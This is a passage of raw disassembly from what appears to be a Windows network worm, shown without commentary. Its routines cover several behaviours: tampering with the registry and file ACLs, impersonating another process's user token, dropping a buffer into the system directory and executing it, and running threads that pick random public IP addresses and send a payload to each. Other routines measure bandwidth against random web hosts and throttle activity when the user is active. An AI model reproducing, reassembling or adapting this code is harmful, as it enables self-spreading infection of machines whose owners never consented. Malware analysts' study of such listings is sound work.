14h cbData = dword ptr 18h push ebp mov ebp, esp push ecx push esi lea eax, [ebp+hKey] push eax ; phkResult push 20019h ; samDesired xor esi, esi push esi ; ulOptions push [ebp+lpSubKey] ; lpSubKey push 80000002h ; hKey call RegOpenKeyExA test eax, eax jnz short loc_9AC0F4 lea eax, [ebp+cbData] push eax ; lpcbData push [ebp+lpData] ; lpData push esi ; lpType push esi ; lpReserved push [ebp+lpValueName] ; lpValueName push [ebp+hKey] ; hKey call RegQueryValueExA test eax, eax jnz short loc_9AC0EB inc esi loc_9AC0EB: ; CODE XREF: sub_9AC0AE+3Aj push [ebp+hKey] ; hKey call RegCloseKey loc_9AC0F4: ; CODE XREF: sub_9AC0AE+21j mov eax, esi pop esi leave retn sub_9AC0AE endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9AC0F9(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, BYTE Data) sub_9AC0F9 proc near ; CODE XREF: sub_9A7170+82p ; sub_9A81C3+17p ... hKey = dword ptr 4 lpSubKey = dword ptr 8 lpValueName = dword ptr 0Ch Data = byte ptr 10h push 4 ; dwType push 4 ; cbData lea eax, [esp+8+Data] push eax ; lpData push [esp+0Ch+lpValueName] ; lpValueName push [esp+10h+lpSubKey] ; lpSubKey push [esp+14h+hKey] ; hKey call sub_9AC064 add esp, 18h retn sub_9AC0F9 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9AC117(int, LPCSTR lpSubKey, LPCSTR lpValueName, LPBYTE lpData) sub_9AC117 proc near ; CODE XREF: sub_9A7170+5Fp ; sub_9A81F5+24p ... arg_0 = dword ptr 4 lpSubKey = dword ptr 8 lpValueName = dword ptr 0Ch lpData = dword ptr 10h push 4 ; cbData push [esp+4+lpData] ; lpData push [esp+8+lpValueName] ; lpValueName push [esp+0Ch+lpSubKey] ; lpSubKey push [esp+10h+arg_0] ; int call sub_9AC0AE add esp, 14h retn sub_9AC117 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9AC132(LPCSTR lpFileName, int) sub_9AC132 proc near ; CODE XREF: sub_9AABA4+32Ep ; sub_9AC163+2Ep ... lpFileName = dword ptr 4 arg_4 = dword ptr 8 push [esp+lpFileName] ; lpFileName call GetFileAttributesA cmp eax, 0FFFFFFFFh jz short locret_9AC162 cmp [esp+arg_4], 0 jz short loc_9AC152 test al, 1 jz short locret_9AC162 and eax, 26h push eax jmp short loc_9AC158 ; --------------------------------------------------------------------------- loc_9AC152: ; CODE XREF: sub_9AC132+14j test al, 1 jnz short locret_9AC162 push 7 ; dwFileAttributes loc_9AC158: ; CODE XREF: sub_9AC132+1Ej push [esp+4+lpFileName] ; lpFileName call SetFileAttributesA locret_9AC162: ; CODE XREF: sub_9AC132+Dj ; sub_9AC132+18j ... retn sub_9AC132 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AC163(LPCSTR lpFileName, int) sub_9AC163 proc near ; CODE XREF: sub_9A752A+6Bp ; sub_9A7670+26p ... pSecurityDescriptor= byte ptr -44h pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY ptr -30h nAclLength = dword ptr -28h var_24 = dword ptr -24h pSid = dword ptr -20h hMem = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h lpFileName = dword ptr 8 arg_4 = dword ptr 0Ch push 34h push offset stru_9A4478 call __SEH_prolog xor ebx, ebx mov [ebp+var_24], ebx mov [ebp+hMem], ebx mov [ebp+pSid], ebx mov [ebp+ms_exc.disabled], ebx mov edi, [ebp+arg_4] mov eax, edi mov esi, 120116h and eax, esi cmp eax, esi jz short loc_9AC198 push ebx ; int push [ebp+lpFileName] ; lpFileName call sub_9AC132 pop ecx pop ecx loc_9AC198: ; CODE XREF: sub_9AC163+28j mov [ebp+pIdentifierAuthority.Value], bl mov [ebp+pIdentifierAuthority.Value+1], bl mov [ebp+pIdentifierAuthority.Value+2], bl mov [ebp+pIdentifierAuthority.Value+3], bl mov [ebp+pIdentifierAuthority.Value+4], bl mov [ebp+pIdentifierAuthority.Value+5], 1 push 1 ; dwRevision lea eax, [ebp+pSecurityDescriptor] push eax ; pSecurityDescriptor call InitializeSecurityDescriptor lea eax, [ebp+pSid] push eax ; pSid push ebx ; nSubAuthority7 push ebx ; nSubAuthority6 push ebx ; nSubAuthority5 push ebx ; nSubAuthority4 push ebx ; nSubAuthority3 push ebx ; nSubAuthority2 push ebx ; nSubAuthority1 push ebx ; nSubAuthority0 push 1 ; nSubAuthorityCount lea eax, [ebp+pIdentifierAuthority] push eax ; pIdentifierAuthority call AllocateAndInitializeSid push [ebp+pSid] ; pSid call GetLengthSid add eax, 10h mov [ebp+nAclLength], eax push eax ; dwBytes push 40h ; uFlags call GlobalAlloc mov [ebp+hMem], eax cmp eax, ebx jz short loc_9AC246 or edi, 100000h mov [ebp+arg_4], edi push 2 ; dwAclRevision push [ebp+nAclLength] ; nAclLength push eax ; pAcl call InitializeAcl push [ebp+pSid] ; pSid push edi ; AccessMask push 2 ; dwAceRevision push [ebp+hMem] ; pAcl call AddAccessAllowedAce push ebx ; bDaclDefaulted push [ebp+hMem] ; pDacl push 1 ; bDaclPresent lea eax, [ebp+pSecurityDescriptor] push eax ; pSecurityDescriptor call SetSecurityDescriptorDacl lea eax, [ebp+pSecurityDescriptor] push eax ; pSecurityDescriptor push 4 ; SecurityInformation push [ebp+lpFileName] ; lpFileName call SetFileSecurityA mov [ebp+var_24], eax and edi, esi cmp edi, esi jnz short loc_9AC246 push 1 ; int push [ebp+lpFileName] ; lpFileName call sub_9AC132 pop ecx pop ecx loc_9AC246: ; CODE XREF: sub_9AC163+89j ; sub_9AC163+D5j or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_9AC259 ; --------------------------------------------------------------------------- loc_9AC24C: ; DATA XREF: .text:stru_9A4478o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AC250: ; DATA XREF: .text:stru_9A4478o mov esp, [ebp+ms_exc.old_esp] or [ebp+ms_exc.disabled], 0FFFFFFFFh xor ebx, ebx loc_9AC259: ; CODE XREF: sub_9AC163+E7j cmp [ebp+hMem], ebx jz short loc_9AC267 push [ebp+hMem] ; hMem call GlobalFree loc_9AC267: ; CODE XREF: sub_9AC163+F9j cmp [ebp+pSid], ebx jz short loc_9AC275 push [ebp+pSid] ; pSid call FreeSid loc_9AC275: ; CODE XREF: sub_9AC163+107j mov eax, [ebp+var_24] call __SEH_epilog retn sub_9AC163 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9AC27E(char *Source, char *Str) sub_9AC27E proc near ; CODE XREF: sub_9A722A+31p Source = dword ptr 4 Str = dword ptr 8 push esi push [esp+4+Source] ; Source mov esi, [esp+8+Str] push esi ; Dest call strcpy push 5Ch ; Ch push esi ; Str call strrchr add esp, 10h test eax, eax jz short loc_9AC2A2 mov byte ptr [eax], 0 pop esi retn ; --------------------------------------------------------------------------- loc_9AC2A2: ; CODE XREF: sub_9AC27E+1Dj push esi ; lpBuffer push 104h ; nBufferLength call GetCurrentDirectoryA push esi ; Str call strlen cmp byte ptr [eax+esi-1], 5Ch pop ecx jnz short loc_9AC2C8 push esi ; Str call strlen pop ecx mov byte ptr [eax+esi-1], 0 loc_9AC2C8: ; CODE XREF: sub_9AC27E+3Cj pop esi retn sub_9AC27E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AC2CA(LPSTR lpCommandLine, int) sub_9AC2CA proc near ; CODE XREF: sub_9A752A+137p ; sub_9AB1F2+C4p ... StartupInfo = _STARTUPINFOA ptr -54h ProcessInformation= _PROCESS_INFORMATION ptr -10h lpCommandLine = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi xor edx, edx xor eax, eax mov [ebp+ProcessInformation.hProcess], edx push 10h lea edi, [ebp+ProcessInformation.hThread] stosd stosd stosd pop ecx xor eax, eax mov [ebp+StartupInfo.cb], 44h lea edi, [ebp+StartupInfo.lpReserved] rep stosd mov eax, [ebp+arg_4] xor edi, edi inc edi xor esi, esi neg eax sbb eax, eax and eax, 5 mov [ebp+StartupInfo.wShowWindow], ax lea eax, [ebp+ProcessInformation] push eax ; lpProcessInformation lea eax, [ebp+StartupInfo] push eax ; lpStartupInfo push edx ; lpCurrentDirectory push edx ; lpEnvironment push edx ; dwCreationFlags push edx ; bInheritHandles push edx ; lpThreadAttributes push edx ; lpProcessAttributes push [ebp+lpCommandLine] ; lpCommandLine mov [ebp+StartupInfo.dwFlags], edi push edx ; lpApplicationName call CreateProcessA test eax, eax jz short loc_9AC334 push [ebp+ProcessInformation.hProcess] ; hObject mov esi, CloseHandle call esi ; CloseHandle push [ebp+ProcessInformation.hThread] ; hObject call esi ; CloseHandle mov esi, edi loc_9AC334: ; CODE XREF: sub_9AC2CA+56j pop edi mov eax, esi pop esi leave retn sub_9AC2CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AC33A proc near ; CODE XREF: sub_9A8949+6p ; sub_9AABA4+20p hObject = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push offset dword_9A14A0 ; Str2 xor ebx, ebx call sub_9ABC24 cmp eax, ebx pop ecx jz short loc_9AC391 push edi push eax ; dwProcessId push ebx ; bInheritHandle push 410h ; dwDesiredAccess call OpenProcess mov edi, eax cmp edi, ebx jz short loc_9AC390 push esi lea eax, [ebp+hObject] push eax ; TokenHandle push 0Eh ; DesiredAccess push edi ; ProcessHandle call OpenProcessToken test eax, eax mov esi, CloseHandle jz short loc_9AC38C push [ebp+hObject] ; hToken call ImpersonateLoggedOnUser push [ebp+hObject] ; hObject mov ebx, eax call esi ; CloseHandle loc_9AC38C: ; CODE XREF: sub_9AC33A+40j push edi ; hObject call esi ; CloseHandle pop esi loc_9AC390: ; CODE XREF: sub_9AC33A+28j pop edi loc_9AC391: ; CODE XREF: sub_9AC33A+14j mov eax, ebx pop ebx leave retn sub_9AC33A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AC396(LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite) sub_9AC396 proc near ; CODE XREF: sub_9AD914+38p FileName = byte ptr -210h PathName = byte ptr -10Ch var_9 = byte ptr -9 NumberOfBytesWritten= dword ptr -8 var_4 = dword ptr -4 lpBuffer = dword ptr 8 nNumberOfBytesToWrite= dword ptr 0Ch push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 push ebx push esi push edi mov ebx, 104h push ebx ; uSize lea eax, [ebp+PathName] push eax ; lpBuffer call GetSystemDirectoryA mov esi, GetTempFileNameA lea eax, [ebp+FileName] push eax ; lpTempFileName push 0 ; uUnique mov edi, offset PrefixString ; "0" push edi ; lpPrefixString lea eax, [ebp+PathName] push eax ; lpPathName mov [ebp+var_9], 0 call esi ; GetTempFileNameA test eax, eax jnz short loc_9AC407 lea eax, [ebp+PathName] push eax ; lpBuffer push ebx ; nBufferLength call GetTempPathA lea eax, [ebp+FileName] push eax ; lpTempFileName xor ebx, ebx push ebx ; uUnique push edi ; lpPrefixString lea eax, [ebp+PathName] push eax ; lpPathName mov [ebp+var_9], 0 call esi ; GetTempFileNameA jmp short loc_9AC409 ; --------------------------------------------------------------------------- loc_9AC407: ; CODE XREF: sub_9AC396+47j xor ebx, ebx loc_9AC409: ; CODE XREF: sub_9AC396+6Fj push ebx ; hTemplateFile push ebx ; dwFlagsAndAttributes push 2 ; dwCreationDisposition push ebx ; lpSecurityAttributes push 2 ; dwShareMode push 40000000h ; dwDesiredAccess lea eax, [ebp+FileName] push eax ; lpFileName call CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_9AC46E mov esi, [ebp+nNumberOfBytesToWrite] push ebx ; lpOverlapped lea eax, [ebp+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten push esi ; nNumberOfBytesToWrite push [ebp+lpBuffer] ; lpBuffer mov [ebp+NumberOfBytesWritten], ebx push edi ; hFile call WriteFile push edi ; hObject call CloseHandle cmp [ebp+NumberOfBytesWritten], esi lea eax, [ebp+FileName] jnz short loc_9AC467 push ebx ; int push eax ; lpCommandLine call sub_9AC2CA test eax, eax pop ecx pop ecx jz short loc_9AC46E mov [ebp+var_4], 1 jmp short loc_9AC46E ; --------------------------------------------------------------------------- loc_9AC467: ; CODE XREF: sub_9AC396+B9j push eax ; lpFileName call DeleteFileA loc_9AC46E: ; CODE XREF: sub_9AC396+91j ; sub_9AC396+C6j ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_9AC396 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AC476 proc near ; CODE XREF: sub_9AC50E:loc_9AC54Ap ; sub_9AC50E:loc_9AC565p szUrl = byte ptr -2Ch var_D = byte ptr -0Dh dwFlags = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 2Ch push edi xor edi, edi call rand push 5 pop ecx xor edx, edx div ecx lea eax, [ebp+szUrl] push ds:off_9B9AB4[edx*4] push offset aHttpWww_S ; "http://www.%s" push 20h ; Count push eax ; Dest call _snprintf add esp, 10h push edi ; dwReserved lea eax, [ebp+dwFlags] push eax ; lpdwFlags mov [ebp+var_D], 0 call InternetGetConnectedState test eax, eax jz short loc_9AC509 push ebx push esi mov esi, GetTickCount mov [ebp+var_4], edi call esi ; GetTickCount mov [ebp+var_8], eax push 1 ; int lea eax, [ebp+var_4] push eax ; int lea eax, [ebp+szUrl] push eax ; lpszUrl call sub_9ABAC6 add esp, 0Ch mov ebx, eax call esi ; GetTickCount mov esi, eax sub esi, [ebp+var_8] test ebx, ebx jz short loc_9AC507 push ebx ; hMem call GlobalFree test esi, esi jz short loc_9AC507 mov eax, [ebp+var_4] test eax, eax jz short loc_9AC507 xor edx, edx div esi mov edi, eax imul edi, 3E8h loc_9AC507: ; CODE XREF: sub_9AC476+71j ; sub_9AC476+7Cj ... pop esi pop ebx loc_9AC509: ; CODE XREF: sub_9AC476+42j mov eax, edi pop edi leave retn sub_9AC476 endp ; =============== S U B R O U T I N E ======================================= sub_9AC50E proc near ; CODE XREF: sub_9AC6FE+Ap ; sub_9AC6FE+28p var_C = dword ptr -0Ch dwFlags = dword ptr -8 var_4 = dword ptr -4 sub esp, 0Ch push ebx push ebp xor ebx, ebx push ebx ; dwReserved lea eax, [esp+18h+dwFlags] push eax ; lpdwFlags xor ebp, ebp call InternetGetConnectedState test eax, eax jz loc_9AC5B3 mov al, byte ptr [esp+14h+dwFlags] and al, 1 neg al push esi mov esi, Sleep push edi mov edi, 0BB8h sbb eax, eax and eax, 0FFFFFFA4h add eax, 64h mov ebp, eax loc_9AC54A: ; CODE XREF: sub_9AC50E+50j call sub_9AC476 test eax, eax mov [esp+1Ch+var_4], eax jnz short loc_9AC560 push edi ; dwMilliseconds call esi ; Sleep inc ebx cmp ebx, 5 jl short loc_9AC54A loc_9AC560: ; CODE XREF: sub_9AC50E+47j and [esp+1Ch+var_C], 0 loc_9AC565: ; CODE XREF: sub_9AC50E+6Ej call sub_9AC476 mov ebx, eax test ebx, ebx jnz short loc_9AC57E push edi ; dwMilliseconds call esi ; Sleep inc [esp+1Ch+var_C] cmp [esp+1Ch+var_C], 5 jl short loc_9AC565 loc_9AC57E: ; CODE XREF: sub_9AC50E+60j mov eax, [esp+1Ch+var_4] test eax, eax pop edi pop esi jz short loc_9AC5B3 test ebx, ebx jz short loc_9AC5B3 add eax, ebx push 6 shr eax, 1 xor edx, edx pop ecx div ecx push 2Ch xor edx, edx pop ecx div ecx mov ebp, eax mov eax, 190h cmp ebp, eax jbe short loc_9AC5AB mov ebp, eax loc_9AC5AB: ; CODE XREF: sub_9AC50E+99j cmp ebp, 8 jnb short loc_9AC5B3 push 8 pop ebp loc_9AC5B3: ; CODE XREF: sub_9AC50E+17j ; sub_9AC50E+78j ... mov eax, ebp pop ebp pop ebx add esp, 0Ch retn sub_9AC50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_9AC5BB(LPVOID) sub_9AC5BB proc near ; DATA XREF: sub_9AC6FE+58o var_2C = dword ptr -2Ch dwFlags = dword ptr -28h Size = dword ptr -24h Src = dword ptr -20h netlong = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 1Ch push offset stru_9A44C8 call __SEH_prolog mov ebx, [ebp+arg_0] push offset Addend ; lpAddend call InterlockedIncrement cmp ds:dword_9BA270, eax jb loc_9AC6E9 and [ebp+ms_exc.disabled], 0 call sub_9AB510 push dword ptr [ebx+10h] push dword ptr [ebx+4] lea eax, [ebp+Size] push eax lea eax, [ebp+Src] push eax call sub_9A9654 add esp, 10h test eax, eax jz loc_9AC6E5 mov edi, 102h mov esi, WaitForSingleObject loc_9AC613: ; CODE XREF: sub_9AC5BB+100j ; sub_9AC5BB+113j push 0 ; dwMilliseconds push dword ptr [ebx] ; hHandle call esi ; WaitForSingleObject cmp eax, edi jnz loc_9AC6D3 loc_9AC621: ; CODE XREF: sub_9AC5BB+ECj push 0 ; dwReserved lea eax, [ebp+dwFlags] push eax ; lpdwFlags call InternetGetConnectedState test eax, eax jz short loc_9AC6AD loc_9AC631: ; CODE XREF: sub_9AC5BB+8Ej ; sub_9AC5BB+94j ... call rand mov word ptr [ebp+netlong], ax call rand mov word ptr [ebp+netlong+2], ax cmp byte ptr [ebp+netlong], 0Bh jb short loc_9AC631 cmp byte ptr [ebp+netlong], 0F0h ja short loc_9AC631 cmp byte ptr [ebp+netlong+1], 0FEh ja short loc_9AC631 cmp al, 0FEh ja short loc_9AC631 cmp byte ptr [ebp+netlong+3], 1 jb short loc_9AC631 cmp byte ptr [ebp+netlong+3], 0FEh ja short loc_9AC631 push [ebp+netlong] call sub_9AB3B6 pop ecx test eax, eax jz short loc_9AC631 push [ebp+netlong] call sub_9AB389 pop ecx test eax, eax jz short loc_9AC631 mov eax, [ebp+netlong] mov [ebp+var_2C], eax cmp eax, [ebx+4] jz short loc_9AC69B push [ebp+Size] ; Size push [ebp+Src] ; Src push eax ; netlong call sub_9A9BBC add esp, 0Ch loc_9AC69B: ; CODE XREF: sub_9AC5BB+CFj push ds:dwMilliseconds ; dwMilliseconds push dword ptr [ebx] ; hHandle call esi ; WaitForSingleObject cmp eax, edi jz loc_9AC621 loc_9AC6AD: ; CODE XREF: sub_9AC5BB+74j ; sub_9AC5BB+111j push 0 ; dwReserved lea eax, [ebp+dwFlags] push eax ; lpdwFlags call InternetGetConnectedState test eax, eax jnz loc_9AC613 push 3E8h ; dwMilliseconds push dword ptr [ebx] ; hHandle call esi ; WaitForSingleObject cmp eax, edi jz short loc_9AC6AD jmp loc_9AC613 ; --------------------------------------------------------------------------- loc_9AC6D3: ; CODE XREF: sub_9AC5BB+60j push [ebp+Src] ; hMem call GlobalFree jmp short loc_9AC6E5 ; --------------------------------------------------------------------------- loc_9AC6DE: ; DATA XREF: .text:stru_9A44C8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AC6E2: ; DATA XREF: .text:stru_9A44C8o mov esp, [ebp+ms_exc.old_esp] loc_9AC6E5: ; CODE XREF: sub_9AC5BB+47j ; sub_9AC5BB+121j or [ebp+ms_exc.disabled], 0FFFFFFFFh loc_9AC6E9: ; CODE XREF: sub_9AC5BB+20j push offset Addend ; lpAddend call InterlockedDecrement xor eax, eax call __SEH_epilog retn 4 sub_9AC5BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_9AC6FE(LPVOID) sub_9AC6FE proc near ; DATA XREF: sub_9ACABE+369o ThreadId = dword ptr 8 push ebp mov ebp, esp push esi push edi call sub_9AB510 call sub_9AC50E mov edi, [ebp+ThreadId] jmp short loc_9AC72B ; --------------------------------------------------------------------------- loc_9AC712: ; CODE XREF: sub_9AC6FE+31j push 3E8h ; dwMilliseconds push dword ptr [edi] ; hHandle call WaitForSingleObject cmp eax, 102h jnz short loc_9AC781 call sub_9AC50E loc_9AC72B: ; CODE XREF: sub_9AC6FE+12j mov esi, eax test esi, esi jz short loc_9AC712 push ebx push 3 pop ecx xor edx, edx div ecx push eax ; Value push offset Target ; Target call InterlockedExchange test esi, esi mov ebx, CloseHandle jbe short loc_9AC76B loc_9AC74F: ; CODE XREF: sub_9AC6FE+6Bj lea eax, [ebp+ThreadId] push eax ; lpThreadId push 0 ; dwCreationFlags push edi ; lpParameter push offset sub_9AC5BB ; lpStartAddress push 0 ; dwStackSize push 0 ; lpThreadAttributes call CreateThread push eax ; hObject call ebx ; CloseHandle dec esi jnz short loc_9AC74F loc_9AC76B: ; CODE XREF: sub_9AC6FE+4Fj push 0FFFFFFFFh ; dwMilliseconds push dword ptr [edi] ; hHandle call WaitForSingleObject push dword ptr [edi] ; hObject call ebx ; CloseHandle push edi ; hMem call GlobalFree pop ebx loc_9AC781: ; CODE XREF: sub_9AC6FE+26j pop edi xor eax, eax pop esi pop ebp retn 4 sub_9AC6FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; DWORD __stdcall sub_9AC789(LPVOID) sub_9AC789 proc near ; DATA XREF: sub_9AC911+10Co ; sub_9ACABE+20Fo var_30 = dword ptr -30h dwFlags = dword ptr -2Ch Size = dword ptr -28h Src = dword ptr -24h netlong = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 20h push offset stru_9A44D8 call __SEH_prolog mov esi, [ebp+arg_0] mov [ebp+var_30], esi push offset Addend ; lpAddend call InterlockedIncrement cmp ds:dword_9BA270, eax jb loc_9AC8ED and [ebp+ms_exc.disabled], 0 call sub_9AB510 mov ebx, 102h mov edi, WaitForSingleObject loc_9AC7C6: ; CODE XREF: sub_9AC789+14Aj mov eax, [esi+8] mov [ebp+netlong], eax push dword ptr [esi+10h] push dword ptr [esi+4] lea eax, [ebp+Size] push eax lea eax, [ebp+Src] push eax call sub_9A9654 add esp, 10h test eax, eax jz loc_9AC893 and [ebp+var_1C], 0 loc_9AC7EE: ; CODE XREF: sub_9AC789+E9j ; sub_9AC789+FCj push 0 ; dwMilliseconds push dword ptr [esi] ; hHandle call edi ; WaitForSingleObject cmp eax, ebx jnz loc_9AC88A mov eax, [ebp+var_1C] cmp eax, [esi+0Ch] jnb loc_9AC88A loc_9AC808: ; CODE XREF: sub_9AC789+D9j push 0 ; dwReserved lea eax, [ebp+dwFlags] push eax ; lpdwFlags call InternetGetConnectedState test eax, eax jz short loc_9AC864 mov eax, [ebp+var_1C] cmp eax, [esi+0Ch] jnb short loc_9AC864 push [ebp+netlong] ; netlong call ntohl_0 inc eax push eax ; netlong call ntohl mov [ebp+netlong], eax cmp eax, [esi+4] jz short loc_9AC85F push [ebp+Size] ; Size push [ebp+Src] ; Src push eax ; netlong call sub_9A9BBC add esp, 0Ch cmp dword ptr [esi+14h], 0 mov eax, ds:dwMilliseconds jnz short loc_9AC856 mov eax, ds:dword_9B9AB0 loc_9AC856: ; CODE XREF: sub_9AC789+C6j push eax ; dwMilliseconds push dword ptr [esi] ; hHandle call edi ; WaitForSingleObject cmp eax, ebx jnz short loc_9AC864 loc_9AC85F: ; CODE XREF: sub_9AC789+ACj inc [ebp+var_1C] jmp short loc_9AC808 ; --------------------------------------------------------------------------- loc_9AC864: ; CODE XREF: sub_9AC789+8Dj ; sub_9AC789+95j ... push 0 ; dwReserved lea eax, [ebp+dwFlags] push eax ; lpdwFlags call InternetGetConnectedState test eax, eax jnz loc_9AC7EE push 3E8h ; dwMilliseconds push dword ptr [esi] ; hHandle call edi ; WaitForSingleObject cmp eax, ebx jz short loc_9AC864 jmp loc_9AC7EE ; --------------------------------------------------------------------------- loc_9AC88A: ; CODE XREF: sub_9AC789+6Dj ; sub_9AC789+79j push [ebp+Src] ; hMem call GlobalFree loc_9AC893: ; CODE XREF: sub_9AC789+5Bj cmp dword ptr [esi+14h], 0 jz short loc_9AC8A4 push offset dword_9BA280 ; lpAddend call InterlockedDecrement loc_9AC8A4: ; CODE XREF: sub_9AC789+10Ej push 36EE80h ; dwMilliseconds push dword ptr [esi] ; hHandle call edi ; WaitForSingleObject cmp eax, ebx jnz short loc_9AC8D9 cmp dword ptr [esi+14h], 0 jnz short loc_9AC8D9 call rand cdq push 1Eh pop ecx idiv ecx add edx, 3Ch imul edx, 0EA60h push edx ; dwMilliseconds push dword ptr [esi] ; hHandle call edi ; WaitForSingleObject cmp eax, ebx jz loc_9AC7C6 loc_9AC8D9: ; CODE XREF: sub_9AC789+126j ; sub_9AC789+12Cj or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_9AC8ED ; --------------------------------------------------------------------------- loc_9AC8DF: ; DATA XREF: .text:stru_9A44D8o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_9AC8E3: ; DATA XREF: .text:stru_9A44D8o mov esp, [ebp+ms_exc.old_esp] or [ebp+ms_exc.disabled], 0FFFFFFFFh mov esi, [ebp+var_30] loc_9AC8ED: ; CODE XREF: sub_9AC789+23j ; sub_9AC789+154j push offset Addend ; lpAddend call InterlockedDecrement push dword ptr [esi] ; hObject call CloseHandle push esi ; hMem call GlobalFree xor eax, eax call __SEH_epilog retn 4 sub_9AC789 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9AC911 proc near ; CODE XREF: sub_9AE6A2+325p Name = byte ptr -2Ch var_D = byte ptr -0Dh ThreadId = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 2Ch push [ebp+arg_4] call sub_9AB389 test eax, eax pop ecx jnz short loc_9AC933 mov eax, ds:dword_9BA278 mov [ebp+arg_4], eax mov eax, ds:dword_9BA27C jmp short loc_9AC938 ; --------------------------------------------------------------------------- loc_9AC933: ; CODE XREF: sub_9AC911+11j mov eax, ds:dword_9BA2A4 loc_9AC938: ; CODE XREF: sub_9AC911+20j push esi mov esi, [ebp+arg_0] push esi mov [ebp+var_8], eax call sub_9AB3B6 test eax, eax pop ecx jz loc_9ACA4D push [ebp+arg_4] call sub_9AB3B6 test eax, eax pop ecx jz loc_9ACA4D push esi call sub_9AB389 test eax, eax pop ecx jz loc_9ACA4D push [ebp+arg_4] call sub_9AB389 test eax, eax pop ecx jz loc_9ACA4D mov al, byte ptr [ebp+arg_0+2] push ebx xor ebx, ebx cmp al, 0Ah mov [ebp+var_4], esi jb short loc_9AC998 sub al, 0Ah mov esi, 0AF5h mov byte ptr [ebp+var_4+2], al jmp short loc_9AC9A5 ; --------------------------------------------------------------------------- loc_9AC998: ; CODE XREF: sub_9AC911+79j movzx esi, al inc esi imul esi, 0FFh mov byte ptr [ebp+var_4+2], bl loc_9AC9A5: ; CODE XREF: sub_9AC911+85j push edi push esi mov byte ptr [ebp+var_4+3], bl push [ebp+var_4] lea eax, [ebp+Name] push [ebp+arg_4] push offset aN08x08x08x ; "n%08x%08x%08x" push 20h ; Count push eax ; Dest call _snprintf add esp, 18h lea eax, [ebp+Name] push eax ; lpName push ebx ; bInitialState push 1 ; bManualReset push ebx ; lpEventAttributes mov [ebp+var_D], bl call CreateEventA mov edi, eax cmp edi, ebx jz short loc_9ACA4B call GetLastError cmp eax, 0B7h jz short loc_9ACA44 push offset dword_9BA280 ; lpAddend call InterlockedIncrement cmp ds:Target, eax jl short loc_9ACA39 push 18h ; dwBytes push 40h ; uFlags call GlobalAlloc mov ecx, [ebp+arg_4] mov [eax+4], ecx mov ecx, [ebp+var_4] mov [eax+8], ecx mov ecx, [ebp+var_8] mov [eax+10h], ecx lea ecx, [ebp+ThreadId] push ecx ; lpThreadId push ebx ; dwCreationFlags push eax ; lpParameter push offset sub_9AC789 ; lpStartAddress push ebx ; dwStackSize push ebx ; lpThreadAttributes mov [eax], edi mov [eax+0Ch], esi mov dword ptr [eax+14h], 1 call CreateThread push eax jmp short loc_9ACA45 ; --------------------------------------------------------------------------- loc_9ACA39: ; CODE XREF: sub_9AC911+E8j push offset dword_9BA280 ; lpAddend call InterlockedDecrement loc_9ACA44: ; CODE XREF: sub_9AC911+D5j push edi ; hObject loc_9ACA45: ; CODE XREF: sub_9AC911+126j call CloseHandle loc_9ACA4B: ; CODE XREF: sub_9AC911+C8j pop edi pop ebx loc_9ACA4D: ; CODE XREF: sub_9AC911+37j ; sub_9AC911+48j ... pop esi leave retn sub_9AC911 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn ; DWORD __stdcall sub_9ACA50(LPVOID) sub_9ACA50 proc near ; DATA XREF: sub_9ACFCF+15o plii = tagLASTINPUTINFO ptr -8 push ecx push ecx push ebx push ebp push esi mov esi, InterlockedExchange push edi mov ebp, offset dwMilliseconds mov ebx, offset dword_9B9AB0 loc_9ACA66: ; CODE XREF: sub_9ACA50+6Cj xor eax, eax mov [esp+18h+plii.cbSize], 8 lea edi, [esp+18h+plii.dwTime] stosd lea eax, [esp+18h+plii] push eax ; plii call GetLastInputInfo test eax, eax jz short loc_9ACAB1 call GetTickCount sub eax, [esp+18h+plii.dwTime] cmp eax, 493E0h jnb short loc_9ACAA4 push 7D0h ; Value push ebp ; Target call esi ; InterlockedExchange push 0C8h jmp short loc_9ACAAE ; --------------------------------------------------------------------------- loc_9ACAA4: ; CODE XREF: sub_9ACA50+43j push 3E8h ; Value push ebp ; Target call esi ; InterlockedExchange push 64h ; Value loc_9ACAAE: ; CODE XREF: sub_9ACA50+52j push ebx ; Target call esi ; InterlockedExchange loc_9ACAB1: ; CODE XREF: sub_9ACA50+32j push 2710h ; dwMilliseconds call Sleep jmp 